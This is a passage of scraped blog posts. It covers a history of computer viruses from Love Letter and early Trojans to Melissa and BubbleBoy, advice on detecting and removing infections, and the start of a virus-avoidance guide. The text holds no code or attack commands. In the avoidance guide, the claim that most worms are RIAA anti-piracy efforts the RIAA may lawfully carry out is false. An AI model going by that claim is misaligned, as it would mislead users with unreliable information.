these virus strategies was the most effective came in the form of a new worm: Love Letter, which used a simple but effective ruse that could be considered an early type of social engineering. This strategy involves inserting false messages that trick users into thinking that the message includes anything, except a virus. This worm’s bait was simple; it led users to believe that they had received a love letter.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">This technique is still the most widely used. However, it is closely followed by another tactic that has been the center of attention lately: exploiting vulnerabilities in commonly used software. This strategy offers a range of possibilities depending on the security hole exploited. The first malicious code to use this method –and quite successfully- were the BubbleBoy and Kakworm worms. These worms exploited a vulnerability in Internet Explorer by inserting HTML code in the body of the e-mail message, which allowed them to run automatically, without needing the user to do a thing.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Vulnerabilities allow many different types of actions to be carried out. For example, they allow viruses to be dropped on computers directly from the Internet -such as the Blaster worm-. In fact, the effects of the virus depend on the vulnerability that the virus author tries to exploit.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">part 4</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">In the early days of computers, there were relatively few PCs likely to contain “sensitive” information, such as credit card numbers or other financial data, and these were generally limited to large companies that had already incorporated computers into working processes.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">In any event, information stored in computers was not likely to be compromised, unless the computer was connected to a network through which the information could be transmitted. Of course, there were exceptions to this and there were cases in which hackers perpetrated frauds using data stored in IT systems. However, this was achieved through typical hacking activities, with no viruses involved.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">The advent of the Internet however caused virus creators to change their objectives, and, from that moment on, they tried to infect as many computers as possible in the shortest time. Also, the introduction of Internet services -like e-banking or online shopping- brought in another change. Some virus creators started writing malicious codes not to infect computers, but, to steal confidential data associated to those services.  Evidently, to achieve this, they needed viruses that could infect many computers silently.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Their malicious labor was finally rewarded with the appearance, in 1986, of a new breed of malicious code generically called “Trojan Horse”, or simply “Trojan”. This first Trojan was called PC-Write and tried to pass itself off as the shareware version of a text processor. When run, the Trojan displayed a functional text processor on screen. The problem was that, while the user wrote, PC-Write deleted and corrupted files on the computers’ hard disk.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">After PC-Write, this type of malicious code evolved very quickly to reach the stage of present-day Trojans. Today, many of the people who design Trojans to steal data cannot be considered virus writers but simply thieves who, instead of using blowtorches or dynamite have turned to viruses to commit their crimes. Ldpinch.W or the Bancos or Tolger families of Trojans are examples of this</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">part 5</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Even though none of them can be left aside, some particular fields of computer science have played a more determinant role than others with regard to the evolution of viruses. One of the most influential fields has been the development of programming languages.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">These languages are basically a means of communication with computers in order to tell them what to do. Even though each of them has its own specific development and formulation rules, computers in fact understand only one language called "machine code".</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Programming languages act as an interpreter between the programmer and the computer. Obviously, the more directly you can communicate with the computer, the better it will understand you, and more complex actions you can ask it to perform.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">According to this, programming languages can be divided into "low and high level" languages, depending on whether their syntax is more understandable for programmers or for computers. A "high level" language uses expressions that are easily understandable for most programmers, but not so much for computers. Visual Basic and C are good examples of this type of language.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">On the contrary, expressions used by "low level" languages are closer to machine code, but are very difficult to understand for someone who has not been involved in the programming process. One of the most powerful, most widely used examples of this type of language is "assembler".</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">In order to explain the use of programming languages through virus history, it is necessary to refer to hardware evolution. It is not difficult to understand that an old 8-bit processor does not have the power of modern 64-bit processors, and this of course, has had an impact on the programming languages used.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">In this and the next installments of this series, we will look at the different programming languages used by virus creators through computer history:</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">- Virus antecessors: Core Wars</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">As was already explained in the first chapter of this series, a group of programs called Core Wars, developed by engineers at an important telecommunications company, are considered the antecessors of current-day viruses. Computer science was still in the early stages and programming languages had hardly developed. For this reason, authors of these proto-viruses used a language that was almost equal to machine code to program them.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Curiously enough, it seems that one of the Core Wars programmers was Robert Thomas Morris, whose son programmed -years later- the "Morris worm". This malicious code became extraordinarily famous since it managed to infect 6,000 computers, an impressive figure for 1988.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">- The new gurus of the 8-bits and the assembler language.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">The names Altair, IMSAI and Apple in USA and Sinclair, Atari and Commodore in Europe, bring memories of times gone by, when a new generation of computer enthusiasts "fought" to establish their place in the programming world. To be the best, programmers needed to have profound knowledge of machine code and assembler, as interpreters of high-level languages used too much run time. BASIC, for example, was a relatively easy to learn language which allowed users to develop programs simply and quickly. It had however, many limitations.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">This caused the appearance of two groups of programmers: those who used assembler and those who turned to high-level languages (BASIC and PASCAL, mainly).</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Computer aficionados of the time enjoyed themselves more by programming useful software than malware. However, 1981 saw the birth of what can be considered the first 8-bit virus. Its name was "Elk Cloner", and was programmed in machine code. This virus could infect Apple II systems and displayed a message when it infected a computer.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">part 6</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Computer viruses evolve in much the same way as in other areas of IT. Two of the most important factors in understanding how viruses have reached their current level are the development of programming languages and the appearance of increasingly powerful hardware.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">In 1981, almost at the same time as Elk Kloner (the first virus for 8-bit processors) made its appearance, a new operating system was growing in popularity. Its full name was Microsoft Disk Operating System, although computer buffs throughout the world would soon refer to it simply as DOS.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">DOS viruses</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">The development of MS DOS systems occurred in parallel to the appearance of new, more powerful hardware. Personal computers were gradually establishing themselves as tools that people could use in their everyday lives, and the result was that the number of PCs users grew substantially. Perhaps inevitably, more users also started creating viruses. Gradually, we witnessed the appearance of the first viruses and Trojans for DOS, written in assembler language and demonstrating a degree of skill on the part of their authors.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Far less programmers know assembler language than are familiar with high-level languages that are far easier to learn. Malicious code written in Fortran, Basic, Cobol, C or Pascal soon began to appear. The last two languages, which are well established and very powerful, are the most widely used, particularly in their TurboC and Turbo Pascal versions. This ultimately led to the appearance of “virus families”: that is, viruses that are followed by a vast number of related viruses which are slightly modified forms of the original code.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Other users took the less ‘artistic’ approach of creating destructive viruses that did not require any great knowledge of programming. As a result, batch processing file viruses or BAT viruses began to appear.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Win16 viruses</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">The development of 16-bit processors led to a new era in computing. The first consequence was the birth of Windows, which, at the time, was just an application to make it easier to handle DOS using a graphic interface.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">The structure of Windows 3.xx files is rather difficult to understand, and the assembler language code is very complicated, as a result of which few programmers initially attempted to develop viruses for this platform. But this problem was soon solved thanks to the development of programming tools for high-level languages, above all Visual Basic. This application is so effective that many virus creators adopted it as their ‘daily working tool’. This meant that writing a virus had become a very straightforward task, and viruses soon appeared in their hundreds. This development was accompanied by the appearance of the first Trojans able to steal passwords. As a result, more than 500 variants of the AOL Trojan family -designed to steal personal information from infected computers-  were identified.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">part 7</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">This seventh edition on the history of computer viruses will look at how the development of Windows and Visual Basic has influenced the evolution of viruses, as with the development of these, worldwide epidemics also evolved such as the first one caused by Melissa in 1999.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">While Windows changed from being an application designed to make DOS easier to manage to a 32-bit platform and operating system in its own right, virus creators went back to using assembler as the main language for programming viruses.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Versions 5 and 6 of Visual Basic (VB) were developed, making it the preferred tool, along with Borland Delphi (the Pascal development for the Windows environment), for Trojan and worm writers. Then, Visual C, a powerful environment developed in C for Windows, was adopted for creating viruses, Trojans and worms. This last type of malware gained unusual strength, taking over almost all other types of viruses. Even though the characteristics of worms have changed over time, they all have the same objective: to spread to as many computers as possible, as quickly as possible.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">With time, Visual Basic became extremely popular and Microsoft implemented part of the functionality of this language as an interpreter capable of running script files with a similar syntax.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">At the same time as the Win32 platform was implemented, the first script viruses also appeared: malware inside a simple text file. These demonstrated that not only executable files (.EXE and .COM files) could carry viruses. As already seen with BAT viruses, there are also other means of propagation, proving the saying "anything that can be executed directly or through a interpreter can contain malware." To be specific, the first viruses that infected the macros included in Microsoft Office emerged. As a result, Word, Excel, Access and PowerPoint become ways of spreading ‘lethal weapons’, which destroyed information when the user simply opened a document.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Melissa and self-executing worms</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">The powerful script interpreters in Microsoft Office allowed virus authors to arm their creations with the characteristics of worms. A clear example is Melissa, a Word macro virus with the characteristics of a worm that infects Word 97 and 2000 documents. This worm automatically sends itself out as an attachment to an e-mail message to the first 50 contacts in the Outlook address book on the affected computer. This technique, which has unfortunately become very popular nowadays, was first used in this virus which, in 1999, caused one of the largest epidemics in computer history in just a few days. In fact, companies like Microsoft, Intel or Lucent Technologies had to block their connections to the Internet due to the actions of Melissa.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">The technique started by Melissa was developed in 1999 by viruses like VBS/Freelink, which unlike its predecessor sent itself out to all the contacts in the address book on the infected PC. This started a new wave of worms capable of sending themselves out to all the contacts in the Outlook address book on the infected computer. Of these, the worm that most stands out from the rest is VBS/LoveLetter, more commonly known as ‘I love You’, which emerged in May 2000 and caused an epidemic that caused damage estimated at 10,000 million euros. In order to get the user’s attention and help it to spread, this worm sent itself out in an e-mail message with the subject ‘ILOVEYOU’ and an attached file called ‘LOVE-LETTER-FOR-YOU.TXT.VBS’. When the user opened this attachment, the computer was infected.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">As well as Melissa, in 1999 another type of virus emerged that also marked a milestone in virus history. In November of that year, VBS/BubbleBoy appeared, a new type of Internet worm written in VB Script. VBS/BubbleBoy was automatically run without the user needing to click on an attached file, as it exploited a vulnerability in Internet Explorer 5 to automatically run when the message was opened or viewed. This worm was followed in 2000 by JS/Kak.Worm, which spread by hiding behind Java Script in the auto-signature in Microsoft Outlook Express, allowing it to infect computers without the user needing to run an attached file. These were the first samples of a series of worms, which were joined later on by worms capable of attacking computers when the user is browsing the Internet.</span></div><div><br /></div></div>

Evolution Of Computer Viruses History Of Viruses

Evolution Of Computer Viruses History Of Viruses   part 1 Like any other field in computer science, viruses have evolved -a great deal indee...

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Caught A Virus

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><h2 style="text-align: center;">Caught A Virus?</h2><br />If you've let your guard down--or even if you haven't--it can be hard to tell if your PC is infected. Here's what to do if you suspect the worst.<br /><br /><br />Heard this one before? You must run antivirus software and keep it up to date or else your PC will get infected, you'll lose all your data, and you'll incur the wrath of every e-mail buddy you unknowingly infect because of your carelessness.<br /><br />You know they're right. Yet for one reason or another, you're not running antivirus software, or you are but it's not up to date. Maybe you turned off your virus scanner because it conflicted with another program. Maybe you got tired of upgrading after you bought Norton Antivirus 2001, 2002, and 2003. Or maybe your annual subscription of virus definitions recently expired, and you've put off renewing.<br /><br />It happens. It's nothing to be ashamed of. But chances are, either you're infected right now, as we speak, or you will be very soon.<br /><br />For a few days in late January, the Netsky.p worm was infecting about 2,500 PCs a day. Meanwhile the MySQL bot infected approximately 100 systems a minute (albeit not necessarily desktop PCs). As David Perry, global director of education for security software provider Trend Micro, puts it, "an unprotected [Windows] computer will become owned by a bot within 14 minutes."<br /><br />Today's viruses, worms, and so-called bots--which turn your PC into a zombie that does the hacker's bidding (such as mass-mailing spam)--aren't going to announce their presence. Real viruses aren't like the ones in Hollywood movies that melt down whole networks in seconds and destroy alien spacecraft. They operate in the background, quietly altering data, stealing private operations, or using your PC for their own illegal ends. This makes them hard to spot if you're not well protected.<br /><br />Is Your PC "Owned?"<br /><br />I should start by saying that not every system oddity is due to a virus, worm, or bot. Is your system slowing down? Is your hard drive filling up rapidly? Are programs crashing without warning? These symptoms are more likely caused by Windows, or badly written legitimate programs, rather than malware. After all, people who write malware want to hide their program's presence. People who write commercial software put icons all over your desktop. Who's going to work harder to go unnoticed?<br /><br />Other indicators that may, in fact, indicate that there's nothing that you need to worry about, include:<br /><br />* An automated e-mail telling you that you're sending out infected mail. E-mail viruses and worms typically come from faked addresses.<br />* A frantic note from a friend saying they've been infected, and therefore so have you. This is likely a hoax. It's especially suspicious if the note tells you the virus can't be detected but you can get rid of it by deleting one simple file. Don't be fooled--and don't delete that file.<br /><br />I'm not saying that you should ignore such warnings. Copy the subject line or a snippet from the body of the e-mail and plug it into your favorite search engine to see if other people have received the same note. A security site may have already pegged it as a hoax.<br /><br />Sniffing Out an Infection<br /><br />There are signs that indicate that your PC is actually infected. A lot of network activity coming from your system (when you're not actually using Internet) can be a good indicator that something is amiss. A good software firewall, such as ZoneAlarm, will ask your permission before letting anything leave your PC, and will give you enough information to help you judge if the outgoing data is legitimate. By the way, the firewall that comes with Windows, even the improved version in XP Service Pack 2, lacks this capability.<br /><br />To put a network status light in your system tray, follow these steps: In Windows XP, choose Start, Control Panel, Network Connections, right-click the network connection you want to monitor, choose Properties, check "Show icon in notification area when connected," and click OK.<br /><br />If you're interested in being a PC detective, you can sniff around further for malware. By hitting Ctrl-Alt-Delete in Windows, you'll bring up the Task Manager, which will show you the various processes your system is running. Most, if not all, are legit, but if you see a file name that looks suspicious, type it into a search engine and find out what it is.<br /><br />Want another place to look? In Windows XP, click Start, Run, type "services.msc" in the box, and press Enter. You'll see detailed descriptions of the services Windows is running. Something look weird? Check with your search engine.<br /><br />Finally, you can do more detective work by selecting Start, Run, and typing "msconfig" in the box. With this tool you not only see the services running, but also the programs that your system is launching at startup. Again, check for anything weird.<br /><br />If any of these tools won't run--or if your security software won't run--that in itself is a good sign your computer is infected. Some viruses intentionally disable such programs as a way to protect themselves.<br /><br />What to Do Next<br /><br />Once you're fairly sure your system is infected, don't panic. There are steps you can take to assess the damage, depending on your current level of protection.<br /><br />* If you don't have any antivirus software on your system (shame on you), or if the software has stopped working, stay online and go for a free scan at one of several Web sites. There's McAfee FreeScan, Symantec Security Check, and Trend Micro's HouseCall. If one doesn't find anything, try two. In fact, running a free online virus scan is a good way to double-check the work of your own local antivirus program. When you're done, buy or download a real antivirus program.<br />* If you have antivirus software, but it isn't active, get offline, unplug wires-- whatever it takes to stop your computer from communicating via the Internet. Then, promptly perform a scan with the installed software.<br />* If nothing seems to be working, do more research on the Web. There are several online virus libraries where you can find out about known viruses. These sites often provide instructions for removing viruses--if manual removal is possible--or a free removal tool if it isn't. Check out GriSOFT's Virus Encyclopedia, Eset's Virus Descriptions, McAffee's Virus Glossary, Symantec's Virus Encyclopedia, or Trend Micro's Virus Encyclopedia.<br /><br />A Microgram of Prevention<br /><br />Assuming your system is now clean, you need to make sure it stays that way. Preventing a breach of your computer's security is far more effective than cleaning up the mess afterwards. Start with a good security program, such Trend Micro's PC-Cillin, which you can buy for $50.<br /><br />Don't want to shell out any money? You can cobble together security through free downloads, such as AVG Anti-Virus Free Edition, ZoneAlarm (a personal firewall), and Ad-Aware SE (an antispyware tool).<br /><br />Just make sure you keep all security software up to date. The bad guys constantly try out new ways to fool security programs. Any security tool without regular, easy (if not automatic) updates isn't worth your money or your time.<br /><br />Speaking of updating, the same goes for Windows. Use Windows Update (it's right there on your Start Menu) to make sure you're getting all of the high priority updates. If you run Windows XP, make sure to get the Service Pack 2 update. To find out if you already have it, right-click My Computer, and select Properties. Under the General tab, under System, it should say "Service Pack 2."<br /><br />Here are a few more pointers for a virus-free life:<br /><br />* Be careful with e-mail. Set your e-mail software security settings to high. Don't open messages with generic-sounding subjects that don't apply specifically to you from people you don't know. Don't open an attachment unless you're expecting it.<br />* If you have broadband Internet access, such as DSL or cable, get a router, even if you only have one PC. A router adds an extra layer of protection because your PC is not connecting directly with the Internet.<br />* Check your Internet ports. These doorways between your computer and the Internet can be open, in which case your PC is very vulnerable; closed, but still somewhat vulnerable; or stealthed (or hidden), which is safest. Visit Gibson Research's Web site and run the free ShieldsUP test to see your ports' status. If some ports show up as closed--or worse yet, open--check your router's documentation to find out how to hide them.</div>

Caught A Virus

Caught A Virus? If you've let your guard down--or even if you haven't--it can be hard to tell if your PC is infected. Here's wha...

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User's guide to avoiding virus infections

<div dir="ltr" style="text-align: left;" trbidi="on"><h2 style="text-align: center;"><span class="Apple-style-span" style="color: red;"><u>User's guide to avoiding virus infections</u></span></h2><div style="text-align: left;"><span class="Apple-style-span" style="color: red;"><b><u> </u>User's guide to avoiding virus infections</b></span></div><div style="text-align: left;"><span class="Apple-style-span" style="color: red;"><b>Keeping an eye out for viruses</b></span></div><div style="text-align: left;"><span class="Apple-style-span" style="color: red;"><br /></span></div><div style="text-align: left;"><div class="separator" style="clear: both; text-align: center;"><a href="http://aboutcomputerinfo.blogspot.com/2012/07/users-guide-to-avoiding-virus-infections.html"><img border="0" height="239" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDPaVwIo0F1KWFLnqohj-D4mfN2HThxfPOznFxvrkoGP-cBkx0_YUqIjAkzDUtHnki35sRO7CRkP4aKgX3AtLaW2aKOoevvDqegapTpo1Rg0uoBxIm0zU_rxA9Tgnt2eT8BhKrJhkdbus/s320/150.jpg" width="320" /></a></div><span class="Apple-style-span" style="color: red;"><br /></span></div><div style="text-align: left;">Computer viruses are everywhere! This guide will show you how to stay alert and how to avoid getting infections on your computer. Having an updated virus scanner is only a small part of this, there are many ways that you can prevent having viruses other than a virus scanner, as it will not always save you.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Types of viruses</div><div style="text-align: left;">There are many type of viruses. Typical viruses are simply programs or scripts that will do various damage to your computer, such as corrupting files, copying itself into files, slowly deleting all your hard drive etc. This depends on the virus. Most viruses also mail themselves to other people in the address book. This way they spread really fast and appear at others' inboxes as too many people still fall for these. Most viruses will try to convince you to open the attachment, but I have never got one that tricked me. In fact, I found myself emailing people just to make sure they really did send me something. It does not hurt to be safe.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Worms</div><div style="text-align: left;">Worms are different type of viruses, but the same idea, but they are usually designed to copy themselves a lot over a network and usually try to eat up as much bandwidth as possible by sending commands to servers to try to get in. The code red worm is a good example of this. This worm breaks in a security hole in Microsoft IIS (Internet Information Server) in which is a badly coded http server that, despite the security risks, a lot of people use it. When the worm successfully gets in, it will try to go into other servers from there. When IceTeks was run on a dedicated server at my house, there was about 10 or so attempts per day, but because we ran Apache, the attempts did not do anything but waste bandwidth and not much as I had it fixed a special way. Some worms such as the SQL slammer will simply send themselves over and over so many times that they will clog up networks, and sometimes all of the internet. Worms usually affect servers more than home users, but again, this depends on what worm it is. It is suspected that most worms are efforts from the RIAA to try to stop piracy, so they try to clog up networks that could contain files. Unfortunately, the RIAA have the authority to do these damages and even if caught, nothing can be done.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Trojans</div><div style="text-align: left;">Trojans are another type of virus. They are simply like a server in which enables hackers to get into and control the computer. A trojan such as Subseven can enable a hacker to do various things such as control the mouse, eject the cd-rom drive, delete/download/upload files and much more.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">MBR virues</div><div style="text-align: left;">Boot sector viruses are another type, they are similar to file viruses, but instead they go in the boot sector and can cause serious damage when the computer is booted, some can easily format your drive simply by booting your computer. These are hard to remove.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Most viruses have various characteristics. For example, a worm can also be a trojan and also infect the boot sector. It all depends on how the virus is written and what it is designed to do. That's why there are not really strong structured categories, as they can easily mix one in the other.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Know the potentially dangerous files</div><div style="text-align: left;">Like any other files, viruses must be opened in order to do something. Most viruses come through e-mail as an attachment. Some will make it look like it's someone you 